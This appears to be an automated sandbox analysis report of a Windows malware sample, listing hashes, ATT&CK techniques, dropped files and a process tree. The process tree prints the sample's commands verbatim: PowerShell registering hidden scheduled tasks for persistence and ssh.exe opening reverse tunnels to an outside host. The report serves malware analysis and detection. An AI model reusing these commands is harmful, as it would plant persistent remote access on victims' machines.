bb3faeedf0ac631f8a0ca6056ee6a4c870ef730710de5d19a7aacba841babc95

Analysis

max time kernel
149s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/08/2026, 19:37

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General

Target
2026-08-09_a7199d0448f9685a32249ceafd63b182_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
Size 6.1MB
Sample260809-yb4saaxxdv
SHA256 bb3faeedf0ac631f8a0ca6056ee6a4c870ef730710de5d19a7aacba841babc95
MD5 a7199d0448f9685a32249ceafd63b182
SHA1 df9da0fce8e60cc4e1e820d418ca9d19e9b72d77
SHA512 ad417ea4ea305c4ca03e6189f59dd8476b9b362861c1e1833117ad2452ae53721836b53607ae44e5ad0135d9c9e0c944dce05e8d8a0518fe1fcb1dd569d8f342
SSDEEP 49152:e6188J0bIEg6k/hg8OycC66BHUHRfNggbPK8HFmzDSoSd7a1YDzLKQK1K6Oeumvu:e69+M8tH8vSVIHumvBh8huTM1KE
TLSH
T11E564A43EC9525E9C1AED1308A769653BB71BC482B2123D32B50F6283F77BD0ADB9354
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
256	powershell.exe
3968	powershell.exe
4856	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	4	Go-http-client/1.1

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
4196	reg.exe
1912	reg.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4856	powershell.exe
4856	powershell.exe
256	powershell.exe
256	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeDebugPrivilege	256	powershell.exe
Token: SeDebugPrivilege	3968	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 5720 wrote to memory of 4628	5720	2026-08-09_a7199d0448f9685a32249ceafd63b182_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	89
PID 5720 wrote to memory of 4856	5720	2026-08-09_a7199d0448f9685a32249ceafd63b182_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	91
PID 5720 wrote to memory of 1912	5720	2026-08-09_a7199d0448f9685a32249ceafd63b182_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	94
PID 5720 wrote to memory of 256	5720	2026-08-09_a7199d0448f9685a32249ceafd63b182_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	96
PID 5720 wrote to memory of 4196	5720	2026-08-09_a7199d0448f9685a32249ceafd63b182_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	99
PID 5720 wrote to memory of 3968	5720	2026-08-09_a7199d0448f9685a32249ceafd63b182_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	101
PID 1652 wrote to memory of 2868	1652	mshta.exe	105
PID 1652 wrote to memory of 1704	1652	mshta.exe	108
PID 1652 wrote to memory of 4668	1652	mshta.exe	110

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-09_a7199d0448f9685a32249ceafd63b182_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-09_a7199d0448f9685a32249ceafd63b182_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5720
- C:\Windows\System32\OpenSSH\ssh-keygen.exe
  C:\Windows\System32\OpenSSH\ssh-keygen.exe -t ed25519 -N "" -f C:\ProgramData\WinSvcHelper\id_ed25519 -C WinSvcHelper
  2⤵
  PID:4628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NonInteractive -ExecutionPolicy Bypass -Command " $ts = New-Object -ComObject Schedule.Service; $ts.Connect() try { $ts.GetFolder('\').DeleteTask('WinSvcHelper', 0) } catch {} try { $ts.GetFolder('\').DeleteTask('WinSvcHelperDaily', 0) } catch {} Get-WmiObject Win32_Process -Filter \"Name='mshta.exe'\" | Where-Object { $_.CommandLine -like '*WinSvcHelper*' -or $_.CommandLine -like '*launcher*' -or $_.CommandLine -like '*tunnel@*' } | ForEach-Object { $_.Terminate() } 'wscript.exe','conhost.exe' | ForEach-Object { $name = $_ Get-WmiObject Win32_Process -Filter \"Name='$name'\" | Where-Object { $_.CommandLine -like '*WinSvcHelper*' -or $_.CommandLine -like '*launcher*' } | ForEach-Object { $_.Terminate() } } Get-WmiObject Win32_Process -Filter \"Name='ssh.exe'\" | Where-Object { $_.CommandLine -like '*tunnel@*' } | ForEach-Object { $_.Terminate() } "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4856
- C:\Windows\system32\reg.exe
  reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinSvcHelper /f
  2⤵
  - Modifies registry key
  PID:1912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NonInteractive -ExecutionPolicy Bypass -Command "try { $ts = New-Object -ComObject Schedule.Service; $ts.Connect() $f = $ts.GetFolder('\') $t = $ts.NewTask(0) $t.Settings.StopIfGoingOnBatteries = $false $t.Settings.DisallowStartIfOnBatteries = $false $t.Settings.ExecutionTimeLimit = 'PT0S' $t.Settings.RestartCount = 9999 $t.Settings.RestartInterval = 'PT1M' $a = $t.Actions.Create(0) $a.Path = 'mshta.exe' $a.Arguments = 'C:\ProgramData\WinSvcHelper\monitor.hta' $tr = $t.Triggers.Create(9) $tr.Delay = 'PT10S' $tr.UserId = $env:USERDOMAIN + '\' + $env:USERNAME $f.RegisterTaskDefinition('WinSvcHelper', $t, 6, $null, $null, 3, $null) | Out-Null Write-Output \"registered\" $f.GetTask('\WinSvcHelper').Run($null) | Out-Null Write-Output \"started\" } catch { Write-Output \"ERROR: $_\"; exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:256
- C:\Windows\system32\reg.exe
  reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinSvcHelper /f
  2⤵
  - Modifies registry key
  PID:4196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NonInteractive -ExecutionPolicy Bypass -Command "try { $ts = New-Object -ComObject Schedule.Service; $ts.Connect() $f = $ts.GetFolder('\') $t = $ts.NewTask(0) $t.Settings.StopIfGoingOnBatteries = $false $t.Settings.DisallowStartIfOnBatteries = $false $t.Settings.ExecutionTimeLimit = 'PT5M' $t.Settings.StartWhenAvailable = $true $a = $t.Actions.Create(0) $a.Path = 'C:\ProgramData\WinSvcHelper\tunnel.exe' $tr = $t.Triggers.Create(3) $tr.StartBoundary = '2000-01-01T03:00:00' $tr.DaysInterval = 1 $f.RegisterTaskDefinition('WinSvcHelperDaily', $t, 6, $null, $null, 3, $null) | Out-Null Write-Output \"daily registered\" } catch { Write-Output \"DAILY ERROR: $_\" }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3968

C:\Windows\system32\mshta.exe
"mshta.exe" C:\ProgramData\WinSvcHelper\monitor.hta
1⤵
- Suspicious use of WriteProcessMemory
PID:1652
- C:\Windows\System32\OpenSSH\ssh.exe
  "C:\Windows\System32\OpenSSH\ssh.exe" -N -R 9029 -p 443 -i C:\ProgramData\WinSvcHelper\id_ed25519 -o StrictHostKeyChecking=no -o ServerAliveInterval=25 -o ServerAliveCountMax=3 -o ExitOnForwardFailure=yes -o ConnectTimeout=15 [email protected]
  2⤵
  PID:2868
- C:\Windows\System32\OpenSSH\ssh.exe
  "C:\Windows\System32\OpenSSH\ssh.exe" -N -R 9029 -p 443 -i C:\ProgramData\WinSvcHelper\id_ed25519 -o StrictHostKeyChecking=no -o ServerAliveInterval=25 -o ServerAliveCountMax=3 -o ExitOnForwardFailure=yes -o ConnectTimeout=15 [email protected]
  2⤵
  PID:1704
- C:\Windows\System32\OpenSSH\ssh.exe
  "C:\Windows\System32\OpenSSH\ssh.exe" -N -R 9029 -p 443 -i C:\ProgramData\WinSvcHelper\id_ed25519 -o StrictHostKeyChecking=no -o ServerAliveInterval=25 -o ServerAliveCountMax=3 -o ExitOnForwardFailure=yes -o ConnectTimeout=15 [email protected]
  2⤵
  PID:4668

C:\Windows\system32\mshta.exe
mshta.exe
1⤵
PID:3152

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

id_ed25519

Path C:\ProgramData\WinSvcHelper\id_ed25519
Size 399B
SHA256 76b1742b73841cafd86c83992c67cec8947d4498058b3c358d6be5e718f2f230
MD5 97a6c68c73f3161d3df3e4d7b5b9c86a
SHA1 4307ced758264161e53432060c73677c3019cc8c
SHA512 47288e4a0e4b2c633e9ef6e6c1a560aeefd6bf85eaef4766f51aed156435e197eaa4991c0dfcee5dc0827c2c639e7ef91ed40aabed9b118e5d622e39ce3ee287
TLSH
T12BE068332D683BC06E6FCAC9580083ABDFA9CD57472C35E954F6990228BE615E59C4CC
MD5 SHA1 SHA512 TLSH

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id_ed25519.pub

Path C:\ProgramData\WinSvcHelper\id_ed25519.pub
Size 95B
SHA256 6d4b1d202e616a10e9d445e8a2cacb487727c41b4f6f37ea6c920520b34df43f
MD5 9a629f130a8df0644b935131e50f72ee
SHA1 5796176a0a417e5e62191a10bfdc3d7f3d2cb318
SHA512 3eec51f003e5c14a42a05d015ad6176d93d0c82dcc2d80a1305283d077f2a727eba483462efdf24d26accffd383a5068df6fc72f4d6bdb75af5de07acb4939c2
TLSH
T1FCB012710C9022580E1E0D852118153A1E57686D2BD1004554B51251426CBA6080C936
MD5 SHA1 SHA512 TLSH

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monitor.hta

Path C:\ProgramData\WinSvcHelper\monitor.hta
Size 613B
SHA256 e166044947d8a5691773fae7018583c7f70e3b4a3b8e8ce20e775ad6cf001c3e
MD5 1e1b2d6bed5554e7004229bbd7f461fd
SHA1 6c5752eebdffdee81f787c4f43b10c8506d0f48e
SHA512 d9d52c7490f326db0b6387c90a226ffcdaec519a8d603546229553b34ecaf6cc794fc5d2a98794aeba5f472ce4b5965beecd08ae754a57acfa70aed67a0ed2f0
TLSH
T1E4F002302C1A56BCA7225EE900FF5508B2186D643515FB0223A038E5D584E11AA62686
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 144598ea87965a833e5c847b0c3725dee5fd45304ea32c04cc6080f73f537503
MD5 d0d3fac03f88767610f5a99b8ef62534
SHA1 ea88be022253f1717dc92755386a6b006d8e1161
SHA512 22253d382bb8cd22a7219803e10bcc5d1c070aef98e01f99ac6589d6361d6571c45b89dd5ba1ff3ad4b1c8f01508873878aab9be1526b777a8ae574c3b86c57e
TLSH
T1C921AF37B3CC8714DC8A403A50CDAC1032B5C7D7409ECF6B7B84D544B42F599CE60150
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d2fe21dfc030352507c8faec11d68169b532dd560541e0daa7b6fca38ecf82f3
MD5 ff1371aeb2e684dfd3d84eace405b398
SHA1 94e222f888a729a9ed0a5b7896df12c06a4a484a
SHA512 01deb753965cb791479be7de80a31134e229868c1d5eba883e44d27b1465bfa0456af6af51d391e8fa7a5fad0505813ccf6f71182a4b44d1ec73d9c0f425e966
TLSH
T1FD115733F3CC8664D89A413650CEAC1036B687DB409EDE9BAB84D558B42F28ACE61160
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_q3cjnoqh.5vj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q3cjnoqh.5vj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/4856-10-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp

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memory/4856-17-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp

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memory/4856-13-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp

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memory/4856-14-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp

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memory/4856-15-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp

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memory/4856-16-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp

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memory/4856-18-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp

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memory/4856-12-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp

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memory/4856-20-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp

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memory/4856-11-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp

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memory/4856-9-0x000001D2453D0000-0x000001D2453F2000-memory.dmp

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memory/4856-6-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp

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memory/4856-5-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp

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memory/4856-4-0x00007FFCFEB4F000-0x00007FFCFEB50000-memory.dmp

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